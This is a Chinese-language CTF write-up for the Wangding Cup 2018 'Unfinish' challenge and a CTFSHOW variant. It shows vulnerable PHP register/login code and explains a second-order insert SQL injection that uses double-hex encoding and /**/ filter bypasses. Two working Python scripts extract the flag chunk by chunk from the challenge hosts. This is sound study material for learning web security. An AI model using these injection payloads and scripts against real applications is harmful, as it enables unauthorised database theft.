[网鼎杯2018]Unfinish&&CTFSHOW内部赛签到题

CTFSHOW那个是根据[网鼎杯2018]Unfinish改编的,有个源码泄露友好些吧,然后过滤的东西不一样,然后感觉不错就总结下
然后扫目录的时候有源码泄露www.zip,下载后读下代码

user.php

<?php
include('db.php');
session_start();
error_reporting(0);
if($_SESSION['u']){
     
$username=$_SESSION['u'];

if (is_numeric($username))
	{
     	
		if(strlen($username)>10) {
     
			$username=substr($username,0,10);
		}
		echo "Hello $username,there's nothing here but dog food!";
	}
	else{
     
		echo "";
}
}
else{
     
		echo "";
}
?>

login.php

<?php
function check($arr){
     
if(preg_match("/load|and|or|\||\&|select|union|\'|=| |\\\|,|sleep|ascii/i",$arr)){
     
			echo "";
           die();   
       }
else{
     
	return true;
}
}
session_start();
include('db.php');
if(isset($_POST['e'])&&isset($_POST['p']))
{
     
$e=$_POST['e'];
$p=$_POST['p'];
$sql ="select username from test1 where email='$e' and password='$p'";
if(check($e)&&check($p)){
     
$result=mysqli_query($con,$sql);
$row = mysqli_fetch_assoc($result);
    if($row){
      
		$_SESSION['u']=$row['username'];
		header('location:user.php');
    }
	else {
     
		echo "";
	}
}
}
 
?>

register.php

<?php
function check($arr){
     
if(preg_match("/load|and|\||\&| |\\\|sleep|ascii|if/i",$arr)){
     
			echo "";
           die();   
       }
else{
     
	return true;
}
}

include('db.php');
if(isset($_POST['e'])&&isset($_POST['u'])&&isset($_POST['p']))
{
     
$e=$_POST['e'];
$u=$_POST['u'];
$p=$_POST['p'];
$sql =
"insert into test1
set email = '$e', 
username = '$u',
password = '$p'
";
if(check($e)&&check($u)&&check($p)){
     
if(mysqli_query($con, $sql))
{
     
header('location:login.php');
}
}
}
 
?>

然后利用点就是register.php中的"insert into test1 set email = '$e', username = '$u', password = '$p' "; insert注入,通过控制username的值,然后再user.php看到回显,从而得到我们想要的信息

但是这里就有问题了

问题一
[网鼎杯2018]Unfinish&&CTFSHOW内部赛签到题_第1张图片

register.php的username要求只能输入长度小于10的数字,这个只是网页加的一个正则,用bp和写脚本都不影响,差不多就不用管,就像网页限制你输入长度(直接改网页代码一回事)

问题二
但是第二个点就不行了,就是用username来回显,是用php代码限制的,然后我们想的是用hex把我们查询的结果转化位数字来回显
[网鼎杯2018]Unfinish&&CTFSHOW内部赛签到题_第2张图片
这样’test’字符串的十六进制就会成功显示出来
然后还有问题
[网鼎杯2018]Unfinish&&CTFSHOW内部赛签到题_第3张图片
flag的十六进制里存在字母。如果让它和’0’相加的话:
[网鼎杯2018]Unfinish&&CTFSHOW内部赛签到题_第4张图片
会存在截断的问题,所以我们应该二次hex来使结果都是数字:
[网鼎杯2018]Unfinish&&CTFSHOW内部赛签到题_第5张图片

问题三
然后写个脚本,有个细节就是账号不能一直用一个,不然回显还是 是第一次payload的回显,并不会改变,所以我们的邮箱也要不断的变

re.findall(pattern, string, flags=0)
返回string中所有与pattern匹配的全部字符串,返回形式为数组。
[网鼎杯2018]Unfinish&&CTFSHOW内部赛签到题_第6张图片
有括号,就只保留括号里的内容

问题四
还有个东西就是mysql里substr函数是从1开始的,php里substr函数是从0开始的,把我坑了下。。。。

import requests
import re

url_l="http://c24cd90e-b5ba-4d92-8274-c845686f6308.challenge.ctf.show:8080/login.php"
url_r="http://c24cd90e-b5ba-4d92-8274-c845686f6308.challenge.ctf.show:8080/register.php"

flag=""

for i in range(1,100):

    #payload="0'+substr(hex(hex((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()))),({}-1)*10+1,10)+'0".format(i)
    payload="0'+substr(hex(hex((select/**/*/**/from/**/flag))),({}-1)*10+1,10)+'0".format(i)

    emil="{}@8".format(i)

    data={
     
        "e":emil,
        "u":payload,
        "p":1
    }
    data1={
     
        "e":emil,
        "p":1
    }

    requests.post(url_r,data=data)

    r=requests.post(url_l,data=data1)
    
    

    flag+=re.findall("Hello (.*),",r.text)[0]

    print(flag)

然后再放个buu那个题的脚本
\s是指空白,包括空格、换行、tab缩进等所有的空白,而\S刚好相反

import requests
import re
import time

url_l="http://6772ecff-a7f0-4f10-bdba-2270cf8a8bee.node4.buuoj.cn/login.php"
url_r="http://6772ecff-a7f0-4f10-bdba-2270cf8a8bee.node4.buuoj.cn/register.php"

flag=""

for i in range(1,20):

    #payload="0'+substr(hex(hex((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()))),({}-1)*10+1,10)+'0".format(i)
    payload="0'+substr(hex(hex((select/**/*/**/from/**/flag)))from ({}-1)*10+1 for 10)+'0".format(i)

    eamil="{}@3".format(i)

    data={
     
        "email":eamil,
        "username":payload,
        "password":1
    }
    data1={
     
        "email":eamil,
        "password":1
    }

    time.sleep(0.5)
    requests.post(url_r,data=data)
    time.sleep(0.5)
    r=requests.post(url_l,data=data1)
    
    

    flag+=re.findall('\s*(.*?)\s*',r.text)[0]
    print(flag)

你可能感兴趣的:(ctf,web)